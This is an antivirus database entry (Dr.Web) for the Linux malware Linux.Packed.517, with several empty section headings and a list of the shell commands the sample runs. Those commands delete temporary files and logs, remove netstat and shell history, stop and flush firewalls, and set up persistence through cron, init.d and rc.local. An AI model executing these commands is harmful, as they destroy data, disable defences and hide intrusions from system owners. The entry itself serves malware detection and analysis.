Linux.Packed.517

Linux.Packed.517

Added to the Dr.Web virus database: 2019-07-13

Virus description added: 2019-07-12

To ensure autorun and distribution:

Creates or modifies the following files:

Malicious functions:

Modifies firewall settings:

Manages services:

Launches processes:

sh -c rm -rf /tmp/* /var/tmp/*
rm -rf /tmp/* /var/tmp/*
sh -c cat /dev/null > /var/log/wtmp
cat /dev/null
sh -c rm -rf /bin/netstat
rm -rf /bin/netstat
sh -c service iptables stop
sh -c /sbin/iptables -F; /sbin/iptables -X
sh -c service firewalld stop
sh -c rm -rf ~/.bash_history
rm -rf /root/.bash_history
sh -c history -c
sh -c /bin/busybox cp <SAMPLE_FULL_PATH> /etc/cron.d/
/bin/busybox cp <SAMPLE_FULL_PATH> /etc/cron.d/
sh -c /bin/busybox cp <SAMPLE_FULL_PATH> /etc/rc0.d/
/bin/busybox cp <SAMPLE_FULL_PATH> /etc/rc0.d/
sh -c /bin/busybox cp <SAMPLE_FULL_PATH> /etc/init.d/
/bin/busybox cp <SAMPLE_FULL_PATH> /etc/init.d/
sh -c /bin/busybox cp /etc/init.d/rcS /etc/init.d/rcS_bak
/bin/busybox cp /etc/init.d/rcS /etc/init.d/rcS_bak
sh -c /bin/busybox echo 'cd /etc/cron.d/;<SAMPLE_FULL_PATH> self.load;cd' >> /etc/init.d/rcS
/bin/busybox echo cd /etc/cron.d/;<SAMPLE_FULL_PATH> self.load;cd
sh -c /bin/busybox echo 'cd /etc/init.d;<SAMPLE_FULL_PATH> self.load;cd' >> /etc/init.d/rcS
/bin/busybox echo cd /etc/init.d;<SAMPLE_FULL_PATH> self.load;cd
sh -c /bin/busybox echo 'cd /etc/rc0.d;<SAMPLE_FULL_PATH> self.load;cd' >> /etc/init.d/rcS
/bin/busybox echo cd /etc/rc0.d;<SAMPLE_FULL_PATH> self.load;cd
sh -c echo 'cd /etc/cron.d/;<SAMPLE_FULL_PATH> self.load;cd' >> /etc/rc.local
sh -c echo 'cd /etc/init.d;<SAMPLE_FULL_PATH> self.load;cd' >> /etc/rc.local
sh -c echo 'cd /etc/rc0.d;<SAMPLE_FULL_PATH> self.load;cd' >> /etc/rc.local

Performs operations with the file system:

Creates or modifies files:

Deletes files: